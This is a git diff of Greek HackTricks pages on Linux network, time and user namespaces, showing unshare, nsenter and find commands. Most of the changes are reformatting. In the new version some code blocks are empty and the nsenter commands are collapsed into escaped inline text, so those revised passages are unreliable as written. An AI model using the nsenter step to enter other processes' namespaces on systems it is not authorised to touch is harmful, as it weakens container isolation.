sudo unshare -n [--mount-proc] /bin/bash
|
||||||
# Run ifconfig or ip -a
|
# Run ifconfig or ip -a
|
||||||
```
|
```
|
||||||
|
|
||||||
Με την προσάρτηση μιας νέας περίπτωσης του συστήματος αρχείων `/proc` χρησιμοποιώντας την παράμετρο `--mount-proc`, εξασφαλίζετε ότι ο νέος χώρος ονομάτων περιέχει μια **ακριβή και απομονωμένη προβολή των πληροφοριών διεργασιών που είναι συγκεκριμένες για αυτόν τον χώρο ονομάτων**.
|
Με την προσάρτηση μιας νέας περίπτωσης του συστήματος αρχείων `/proc` χρησιμοποιώντας την παράμετρο `--mount-proc`, εξασφαλίζετε ότι ο νέος χώρος ονομάτων περιέχει μια **ακριβή και απομονωμένη προβολή των πληροφοριών διεργασιών που είναι συγκεκριμένες για αυτόν τον χώρο ονομάτων**.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -43,23 +45,28 @@ sudo unshare -n [--mount-proc] /bin/bash
|
||||||
Όταν το `unshare` εκτελείται χωρίς την επιλογή `-f`, συναντάται ένα σφάλμα λόγω του τρόπου με τον οποίο το Linux χειρίζεται τους νέους χώρους ονομάτων PID (Process ID). Τα κύρια στοιχεία και η λύση παρουσιάζονται παρακάτω:
|
Όταν το `unshare` εκτελείται χωρίς την επιλογή `-f`, συναντάται ένα σφάλμα λόγω του τρόπου με τον οποίο το Linux χειρίζεται τους νέους χώρους ονομάτων PID (Process ID). Τα κύρια στοιχεία και η λύση παρουσιάζονται παρακάτω:
|
||||||
|
|
||||||
1. **Εξήγηση του προβλήματος**:
|
1. **Εξήγηση του προβλήματος**:
|
||||||
- Ο πυρήνας του Linux επιτρέπει σε μια διεργασία να δημιουργεί νέους χώρους ονομάτων χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διεργασία που προκαλεί τη δημιουργία ενός νέου χώρου ονομάτων PID (αναφέρεται ως "διεργασία unshare") δεν εισέρχεται στον νέο χώρο ονομάτων, μόνο οι υποδιεργασίες της το κάνουν.
|
|
||||||
- Η εκτέλεση της εντολής `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διεργασία με το `unshare`. Ως αποτέλεσμα, το `/bin/bash` και οι υποδιεργασίες του βρίσκονται στον αρχικό χώρο ονομάτων PID.
|
* Ο πυρήνας του Linux επιτρέπει σε μια διεργασία να δημιουργεί νέους χώρους ονομάτων χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διεργασία που προκαλεί τη δημιουργία ενός νέου χώρου ονομάτων PID (αναφέρεται ως "διεργασία unshare") δεν εισέρχεται στον νέο χώρο ονομάτων, μόνο οι υποδιεργασίες της το κάνουν.
|
||||||
- Η πρώτη υποδιεργασία του `/bin/bash` στον νέο χώρο ονομάτων γίνεται PID 1. Όταν αυτή η διεργασία τερματίζει, ενεργοποιείται η εκκαθάριση του χώρου ονομάτων αν δεν υπάρχουν άλλες διεργασίες, καθώς η PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διεργασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την εκχώρηση PID σε αυτόν τον χώρο ονομάτων.
|
* Η εκτέλεση της εντολής `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διεργασία με το `unshare`. Ως αποτέλεσμα, το `/bin/bash` και οι υποδιεργασίες του βρίσκονται στον αρχικό χώρο ονομάτων PID.
|
||||||
|
* Η πρώτη υποδιεργασία του `/bin/bash` στον νέο χώρο ονομάτων γίνεται PID 1. Όταν αυτή η διεργασία τερματίζει, ενεργοποιείται η εκκαθάριση του χώρου ονομάτων αν δεν υπάρχουν άλλες διεργασίες, καθώς η PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διεργασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την εκχώρηση PID σε αυτόν τον χώρο ονομάτων.
|
||||||
|
|
||||||
2. **Συνέπεια**:
|
2. **Συνέπεια**:
|
||||||
- Η έξοδος της PID 1 σε έναν νέο χώρο ονομάτων οδηγεί στην απενεργοποίηση της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα την αποτυχία της συνάρτησης `alloc_pid` να εκχωρήσει ένα νέο PID κατά τη δημιουργία μιας νέας διεργασίας, παράγοντας το σφάλμα "Cannot allocate memory".
|
|
||||||
|
* Η έξοδος της PID 1 σε έναν νέο χώρο ονομάτων οδηγεί στην απενεργοποίηση της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα την αποτυχία της συνάρτησης `alloc_pid` να εκχωρήσει ένα νέο PID κατά τη δημιουργία μιας νέας διεργασίας, παράγοντας το σφάλμα "Cannot allocate memory".
|
||||||
|
|
||||||
3. **Λύση**:
|
3. **Λύση**:
|
||||||
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει ένα νέο διεργασία μετά τη δημιουργία του νέου χώρου ονομάτων PID.
|
|
||||||
- Εκτελώντας `%unshare -fp /bin/bash%` εξασφαλίζεται ότι η εντολή `unshare` ίδια γίνεται PID 1 στον νέο χώρο ονομάτων. Το `/bin/bash` και οι υποδιεργασίες του περιορίζονται στον νέο αυτόν χώρο ονομάτων, αποτρέποντας την πρόωρη έξοδο της PID 1 και επιτρέποντας την κανονική εκχώρηση PID.
|
* Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει ένα νέο διεργασία μετά τη δημιουργία του νέου χώρου ονομάτων PID.
|
||||||
|
* Εκτελώντας `%unshare -fp /bin/bash%` εξασφαλίζεται ότι η εντολή `unshare` ίδια γίνεται PID 1 στον νέο χώρο ονομάτων. Το `/bin/bash` και οι υποδιεργασίες του περιορίζονται στον νέο αυτόν χώρο ονομάτων, αποτρέποντας την πρόωρη έξοδο της PID 1 και επιτρέποντας την κανονική εκχώρηση PID.
|
||||||
|
|
||||||
Εξασφαλίζοντας ότι το `unshare` εκτελείται με τη σημαία `-f`, ο νέος χώρος ονομάτων PID διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και στις υποδιεργασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα δέσμευσης μνήμης.
|
Εξασφαλίζοντας ότι το `unshare` εκτελείται με τη σημαία `-f`, ο νέος χώρος ονομάτων PID διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και στις υποδιεργασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα δέσμευσης μνήμης.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||||
# Run ifconfig or ip -a
|
# Run ifconfig or ip -a
|
||||||
```
|
```
|
||||||
###  Ελέγξτε σε ποιο namespace βρίσκεται η διεργασία σας
|
|
||||||
|
#### Ελέγξτε σε ποιο namespace βρίσκεται η διεργασία σας
|
||||||
|
|
||||||
To check which namespace your process is in, you can use the following command:
|
To check which namespace your process is in, you can use the following command:
|
||||||
|
|
||||||
|
@ -68,41 +75,32 @@ ls -l /proc/$$/ns/net
|
||||||
```
|
```
|
||||||
|
|
||||||
This command will display the network namespace of your process. The `$$` represents the process ID of the current shell.
|
This command will display the network namespace of your process. The `$$` represents the process ID of the current shell.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ls -l /proc/self/ns/net
|
ls -l /proc/self/ns/net
|
||||||
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
|
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
|
||||||
```
|
```
|
||||||
### Βρείτε όλα τα δίκτυα namespaces
|
|
||||||
|
#### Βρείτε όλα τα δίκτυα namespaces
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
|
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
|
||||||
# Find the processes with an specific namespace
|
# Find the processes with an specific namespace
|
||||||
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||||
```
|
```
|
||||||
{% code %}
|
|
||||||
|
|
||||||
### Εισέρχονται μέσα σε ένα δίκτυο namespace
|
|
||||||
|
|
||||||
{% endcode %}
|
|
||||||
```bash
|
|
||||||
nsenter -n TARGET_PID --pid /bin/bash
|
|
||||||
```
|
```
|
||||||
Επίσης, μπορείτε να **εισέλθετε σε ένα άλλο namespace διεργασίας μόνο αν είστε root**. Και **δεν μπορείτε** να **εισέλθετε** σε άλλο namespace **χωρίς έναν δείκτη** που να δείχνει σε αυτό (όπως `/proc/self/ns/net`).
|
```
|
||||||
|
|
||||||
|
\`\`\`bash nsenter -n TARGET\_PID --pid /bin/bash \`\`\` Επίσης, μπορείτε να \*\*εισέλθετε σε ένα άλλο namespace διεργασίας μόνο αν είστε root\*\*. Και \*\*δεν μπορείτε\*\* να \*\*εισέλθετε\*\* σε άλλο namespace \*\*χωρίς έναν δείκτη\*\* που να δείχνει σε αυτό (όπως \`/proc/self/ns/net\`).
|
||||||
|
|
||||||
|
### Αναφορές
|
||||||
|
|
||||||
## Αναφορές
|
|
||||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
|
||||||
|
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Χώρος ονομάτων χρόνου
|
# Time Namespace
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -23,9 +23,11 @@
|
||||||
### Δημιουργία διαφορετικών ονομάτων χώρου
|
### Δημιουργία διαφορετικών ονομάτων χώρου
|
||||||
|
|
||||||
#### Εντολική γραμμή
|
#### Εντολική γραμμή
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo unshare -T [--mount-proc] /bin/bash
|
sudo unshare -T [--mount-proc] /bin/bash
|
||||||
```
|
```
|
||||||
|
|
||||||
Με την προσάρτηση μιας νέας περίπτωσης του συστήματος αρχείων `/proc` χρησιμοποιώντας την παράμετρο `--mount-proc`, εξασφαλίζετε ότι ο νέος χώρος ονομάτων περιέχει μια **ακριβή και απομονωμένη προβολή των πληροφοριών διεργασιών που είναι συγκεκριμένες για αυτόν τον χώρο ονομάτων**.
|
Με την προσάρτηση μιας νέας περίπτωσης του συστήματος αρχείων `/proc` χρησιμοποιώντας την παράμετρο `--mount-proc`, εξασφαλίζετε ότι ο νέος χώρος ονομάτων περιέχει μια **ακριβή και απομονωμένη προβολή των πληροφοριών διεργασιών που είναι συγκεκριμένες για αυτόν τον χώρο ονομάτων**.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -35,22 +37,27 @@ sudo unshare -T [--mount-proc] /bin/bash
|
||||||
Όταν το `unshare` εκτελείται χωρίς την επιλογή `-f`, συναντάται ένα σφάλμα λόγω του τρόπου που ο πυρήνας Linux χειρίζεται τους νέους χώρους ονομάτων PID (Process ID). Τα κύρια στοιχεία και η λύση παρουσιάζονται παρακάτω:
|
Όταν το `unshare` εκτελείται χωρίς την επιλογή `-f`, συναντάται ένα σφάλμα λόγω του τρόπου που ο πυρήνας Linux χειρίζεται τους νέους χώρους ονομάτων PID (Process ID). Τα κύρια στοιχεία και η λύση παρουσιάζονται παρακάτω:
|
||||||
|
|
||||||
1. **Εξήγηση του προβλήματος**:
|
1. **Εξήγηση του προβλήματος**:
|
||||||
- Ο πυρήνας Linux επιτρέπει σε μια διεργασία να δημιουργεί νέους χώρους ονομάτων χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διεργασία που προκαλεί τη δημιουργία ενός νέου χώρου ονομάτων PID (που αναφέρεται ως "διαδικασία unshare") δεν εισέρχεται στον νέο χώρο ονομάτων, μόνο οι υποδιεργασίες της το κάνουν.
|
|
||||||
- Η εκτέλεση της εντολής `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διεργασία με το `unshare`. Ως αποτέλεσμα, το `/bin/bash` και οι υποδιεργασίες του βρίσκονται στον αρχικό χώρο ονομάτων PID.
|
* Ο πυρήνας Linux επιτρέπει σε μια διεργασία να δημιουργεί νέους χώρους ονομάτων χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διεργασία που προκαλεί τη δημιουργία ενός νέου χώρου ονομάτων PID (που αναφέρεται ως "διαδικασία unshare") δεν εισέρχεται στον νέο χώρο ονομάτων, μόνο οι υποδιεργασίες της το κάνουν.
|
||||||
- Η πρώτη υποδιεργασία του `/bin/bash` στον νέο χώρο ονομάτων γίνεται PID 1. Όταν αυτή η διεργασία τερματίζει, ενεργοποιείται η εκκαθάριση του χώρου ονομάτων αν δεν υπάρχουν άλλες διεργασίες, καθώς η PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διεργασιών. Ο πυρήνας Linux θα απενεργοποιήσει στη συνέχεια την εκχώρηση PID σε αυτόν τον χώρο ονομάτων.
|
* Η εκτέλεση της εντολής `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διεργασία με το `unshare`. Ως αποτέλεσμα, το `/bin/bash` και οι υποδιεργασίες του βρίσκονται στον αρχικό χώρο ονομάτων PID.
|
||||||
|
* Η πρώτη υποδιεργασία του `/bin/bash` στον νέο χώρο ονομάτων γίνεται PID 1. Όταν αυτή η διεργασία τερματίζει, ενεργοποιείται η εκκαθάριση του χώρου ονομάτων αν δεν υπάρχουν άλλες διεργασίες, καθώς η PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διεργασιών. Ο πυρήνας Linux θα απενεργοποιήσει στη συνέχεια την εκχώρηση PID σε αυτόν τον χώρο ονομάτων.
|
||||||
|
|
||||||
2. **Συνέπεια**:
|
2. **Συνέπεια**:
|
||||||
- Η έξοδος της PID 1 σε έναν νέο χώρο ονομάτων οδηγεί στην απενεργοποίηση της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα την αποτυχία της συνάρτησης `alloc_pid` να εκχωρήσει ένα νέο PID κατά τη δημιουργία μιας νέας διεργασίας, παράγοντας το σφάλμα "Cannot allocate memory".
|
|
||||||
|
* Η έξοδος της PID 1 σε έναν νέο χώρο ονομάτων οδηγεί στην απενεργοποίηση της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα την αποτυχία της συνάρτησης `alloc_pid` να εκχωρήσει ένα νέο PID κατά τη δημιουργία μιας νέας διεργασίας, παράγοντας το σφάλμα "Cannot allocate memory".
|
||||||
|
|
||||||
3. **Λύση**:
|
3. **Λύση**:
|
||||||
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει ένα νέο διεργασία μετά τη δημιουργία του νέου χώρου ονομάτων PID.
|
|
||||||
- Εκτελώντας `%unshare -fp /bin/bash%` εξασφαλίζεται ότι η εντολή `unshare` ίδια γίνεται PID 1 στον νέο χώρο ονομάτων. Το `/bin/bash` και οι υποδιεργασίες του περιορίζονται στον νέο αυτόν χώρο ονομάτων, αποτρέποντας την πρόωρη έξοδο της PID 1 και επιτρέποντας την κανονική εκχώρηση PID.
|
* Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει ένα νέο διεργασία μετά τη δημιουργία του νέου χώρου ονομάτων PID.
|
||||||
|
* Εκτελώντας `%unshare -fp /bin/bash%` εξασφαλίζεται ότι η εντολή `unshare` ίδια γίνεται PID 1 στον νέο χώρο ονομάτων. Το `/bin/bash` και οι υποδιεργασίες του περιορίζονται στον νέο αυτόν χώρο ονομάτων, αποτρέποντας την πρόωρη έξοδο της PID 1 και επιτρέποντας την κανονική εκχώρηση PID.
|
||||||
|
|
||||||
Εξασφαλίζοντας ότι το `unshare` εκτελείται με τη σημαία `-f`, ο νέος χώρος ονομάτων PID διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και στις υποδιεργασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα δέσμευσης μνήμης.
|
Εξασφαλίζοντας ότι το `unshare` εκτελείται με τη σημαία `-f`, ο νέος χώρος ονομάτων PID διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και στις υποδιεργασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα δέσμευσης μνήμης.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||||
```
|
```
|
||||||
###  Ελέγξτε σε ποιο namespace βρίσκεται η διεργασία σας
|
|
||||||
|
#### Ελέγξτε σε ποιο namespace βρίσκεται η διεργασία σας
|
||||||
|
|
||||||
To check which namespace your process is in, you can use the following command:
|
To check which namespace your process is in, you can use the following command:
|
||||||
|
|
||||||
|
@ -59,42 +66,33 @@ cat /proc/$$/ns/pid
|
||||||
```
|
```
|
||||||
|
|
||||||
This will display the inode number of the namespace that your process is currently in.
|
This will display the inode number of the namespace that your process is currently in.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ls -l /proc/self/ns/time
|
ls -l /proc/self/ns/time
|
||||||
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
|
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
|
||||||
```
|
```
|
||||||
### Βρείτε όλα τα Time namespaces
|
|
||||||
|
#### Βρείτε όλα τα Time namespaces
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u
|
sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u
|
||||||
# Find the processes with an specific namespace
|
# Find the processes with an specific namespace
|
||||||
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||||
```
|
```
|
||||||
{% code %}
|
|
||||||
|
|
||||||
### Εισέλθετε σε ένα χώρο ονομάτων χρόνου
|
|
||||||
|
|
||||||
{% endcode %}
|
|
||||||
```bash
|
|
||||||
nsenter -T TARGET_PID --pid /bin/bash
|
|
||||||
```
|
```
|
||||||
Επίσης, μπορείτε να **εισέλθετε σε ένα άλλο namespace διεργασίας μόνο αν είστε root**. Και **δεν μπορείτε** να **εισέλθετε** σε άλλο namespace **χωρίς έναν δείκτη** που να τον δείχνει (όπως `/proc/self/ns/net`).
|
```
|
||||||
|
|
||||||
|
\`\`\`bash nsenter -T TARGET\_PID --pid /bin/bash \`\`\` Επίσης, μπορείτε να \*\*εισέλθετε σε ένα άλλο namespace διεργασίας μόνο αν είστε root\*\*. Και \*\*δεν μπορείτε\*\* να \*\*εισέλθετε\*\* σε άλλο namespace \*\*χωρίς έναν δείκτη\*\* που να τον δείχνει (όπως \`/proc/self/ns/net\`).
|
||||||
|
|
||||||
|
### Αναφορές
|
||||||
|
|
||||||
## Αναφορές
|
|
||||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||||
* [https://www.phoronix.com/news/Linux-Time-Namespace-Coming](https://www.phoronix.com/news/Linux-Time-Namespace-Coming)
|
* [https://www.phoronix.com/news/Linux-Time-Namespace-Coming](https://www.phoronix.com/news/Linux-Time-Namespace-Coming)
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
|
||||||
|
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Ονοματοχώρος Χρήστη
|
# User Namespace
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -32,9 +32,11 @@
|
||||||
### Δημιουργία διαφορετικών Ονοματοχώρων
|
### Δημιουργία διαφορετικών Ονοματοχώρων
|
||||||
|
|
||||||
#### Εντολή CLI
|
#### Εντολή CLI
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo unshare -U [--mount-proc] /bin/bash
|
sudo unshare -U [--mount-proc] /bin/bash
|
||||||
```
|
```
|
||||||
|
|
||||||
Με την προσάρτηση μιας νέας περίπτωσης του αρχείου `/proc` εάν χρησιμοποιήσετε την παράμετρο `--mount-proc`, εξασφαλίζετε ότι ο νέος περιβάλλοντος προβολής έχει μια **ακριβή και απομονωμένη προβολή των πληροφοριών διεργασίας που είναι συγκεκριμένες για αυτό το περιβάλλον**.
|
Με την προσάρτηση μιας νέας περίπτωσης του αρχείου `/proc` εάν χρησιμοποιήσετε την παράμετρο `--mount-proc`, εξασφαλίζετε ότι ο νέος περιβάλλοντος προβολής έχει μια **ακριβή και απομονωμένη προβολή των πληροφοριών διεργασίας που είναι συγκεκριμένες για αυτό το περιβάλλον**.
|
||||||
|
|
||||||
<details>
|
<details>
